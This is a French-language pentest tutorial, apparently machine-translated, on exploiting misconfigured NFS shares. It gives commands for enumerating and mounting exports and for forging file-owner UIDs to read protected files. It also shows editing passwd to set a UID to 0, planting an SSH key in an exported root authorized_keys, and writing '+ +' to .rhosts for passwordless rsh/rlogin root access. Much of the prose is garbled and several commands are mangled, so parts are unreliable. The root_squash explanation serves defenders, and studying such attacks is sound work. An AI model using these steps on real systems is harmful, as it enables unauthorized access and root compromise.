NFS (Network File System) qui est un système de fichiers réseau, FreeBSD est un système de fichiers pris en charge, ce qui permet à un réseau TCP / IP pour partager des ressources entre les ordinateurs du réseau. Dans l'application du NFS, l'application locale du client NFS peut lire de manière transparente et les fichiers d'écriture situé sur un serveur NFS distant, comme accéder aux fichiers locaux. NFS a maintenant la fonction d'empêcher l'utilisation du dossier d'exportation, mais les systèmes existants de configuration du service NFS de manière incorrecte, il peut encore être exploité par des attaquants malveillants.
découverte de service NFS
Par défaut, le service NFS est port ouvert 2049 / TCP, afin que nous puissions être pris pour cible pour la détection au moyen de Nmap.
(RPC # 100003) 2049 / tcp open nfs 2-4De plus, nous pouvons également déterminer si vous souhaitez exécuter ou monter un serveur NFS sur l'hôte via la commande rpcinfo.
rpcinfo -p IPLa liste des dossiers Export
La commande suivante récupère un hôte donné pour exporter la liste des dossiers, ces informations seront utilisées pour accéder à ces dossiers.
showmount -e IPLorsque la commande showmount avec les paramètres suivants peuvent être récupérés pour nous plus d'informations, telles que:
- Les points de montage
- hôte connecté
- annuaire
En outre, le cadre Metasploit dispose également d'un module peut être utilisé pour lister le dossier d'exportation.
auxiliaire / scanner / nfs / nfsmountIci, je recommande un outil utile NFS Shell, il peut être connecté au partage NFS et nous aident à identifier manuellement certains problèmes de sécurité communs. Je veux l'utiliser, nous devons d'abord installer les dépendances suivantes:
apt-get install libreadline-dev libncurses5-dev faire gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L / usr / local / lib -lreadline -lhistory -lncurses ./nfsshellUtilisez la commande suivante pour obtenir la liste des dossiers exportés:
nfs > Service IP hôte // connexion NFS de nfs > export // liste export NFSAccès au partage NFS
Dossier d'exportation en créant un dossier local vide et monter le dossier partagé d'accès, comme suit:
mkdir / temp / mount -t nfs 192.168.1.172:/ / temp -o nolockUne fois l'authentification réussie partagée de montage, nous pouvons énumérer toutes les informations de disque local par la commande suivante.
df -hÀ ce stade, nous pouvons accéder à d'autres dossiers aussi facile que l'accès aux dossiers partagés.
cd / temp / lsfonctionnement UID
Si nous ne dispose pas des autorisations de lecture pour le partage de fichiers sur la façon de faire? En fait, ce qui est très simple, nous pouvons forger UID du propriétaire du fichier pour tromper le serveur NFS. L'exemple suivant montre un des conseils de refus d'accès aux fichiers NFS:
Tout d'abord, nous devons obtenir l'UID du propriétaire du fichier (ID utilisateur) et un GUID (ID Groupe) avec la commande suivante.
ls -alEnsuite, nous créons un nouvel utilisateur local, et modifions le même que le propriétaire du fichier UID et le nom de l'utilisateur.
useradd < utilisateur > passwd < utilisateur >UID peut être modifié dans le fichier passwd.
vi / etc / passwdDans le dossier effectuer fichier monté commande su, connu et mot de passe que vous avez créé plus tôt, auquel cas les utilisateurs actuels seront passés au nouvel utilisateur.
su < useraccount >UID est le même que le fichier avec le nouvel UID de l'utilisateur, de sorte que le système croient à tort qu'il est le propriétaire des autorisations de fichiers, afin que nous puissions être l'identité d'un utilisateur légitime de lire le contenu du fichier.
La raison de ce problème, parce que le dossier d'exportation ne sont pas définir les options de root_squash. root_squash connexion hôte NFS, l'équivalent du propriétaire du répertoire lors de l'utilisation du répertoire partagé. Cependant, si en tant que root en utilisant le répertoire partagé du temps, alors les droits de l'utilisateur (root) sera compressé dans un utilisateur anonyme, qui est généralement son UID et GID deviendra une personne que l'identité afin d'empêcher tout accès non autorisé.
Vous pouvez activer ou désactiver l'option root_squash dans les endroits suivants:
vi / etc / exports / Home 192.168.1.47 (root_squash) // Active racine Squash / Home 192.168.1.47 (no_root_squash) // Racine Squash InhibeSi le fichier passwd ont la permission d'écriture, alors nous pouvons être changé à 0 par UID de l'utilisateur non-privilégié, il a accès au niveau de la racine. Comme on peut le voir dans la figure ci-dessous, je modifierai l'UID de l'utilisateur de services à 0, l'utilisateur aura accès à des privilèges root.
Se connecter via la commande SSH à nouveau pour établir la connexion avec le serveur cible, service obtenir un accès root.
accès shell
les fichiers sont stockés selon dans le dossier d'exportation, vous pouvez être en mesure d'obtenir à l'accès shell via SSH ou RSH et Rlogin. Nous nous concentrons à se concentrer sur les deux fichiers suivants:
- authorized_keys
- rhosts
Les deux fichiers sont cachés dans le dossier NFS, nous pouvons déterminer l'existence de ces fichiers à l'aide de la commande suivante.
ls -alGénérer une paire de clés SSH et une clé publique à la liste des clés autorisées, afin que nous puissions établir une connexion via SSH sur le serveur NFS.
cd /root/.ssh/ ssh-keygen -t rsa -b 4096 cp /root/.ssh/id_rsa.pub /temp/root/.ssh/ cat id_rsa.pub > > /temp/root/.ssh/authorized_keys ssh -i /root/.ssh/id_rsa root@192.168.1.189.rhosts fichier qui est utilisé pour configurer l'hôte distant ou un utilisateur peut accéder à un compte local sur le système. Si le fichier de contenu est le symbole de .rhosts, l'hôte et permet à tout utilisateur sur le réseau à partir d'une connexion.
.rhosts chat ++La commande suivante permettra au système de la racine de l'utilisateur est directement connecté au système cible, le système ne sera pas invité à entrer le mot de passe, puisque seront approuvés tous les utilisateurs du système.
rsh -l IP racine rlogin -l IP racine.Rhosts ou si le contenu est différent, vérifiez le fichier vous aidera à déterminer les hôtes et les utilisateurs de confiance, et peut donc s'authentifier sans exiger un mot de passe.
* Référence Source: pentestacademy, FB Xiao Bian secist compilé, reproduit à partir FreeBuf.COM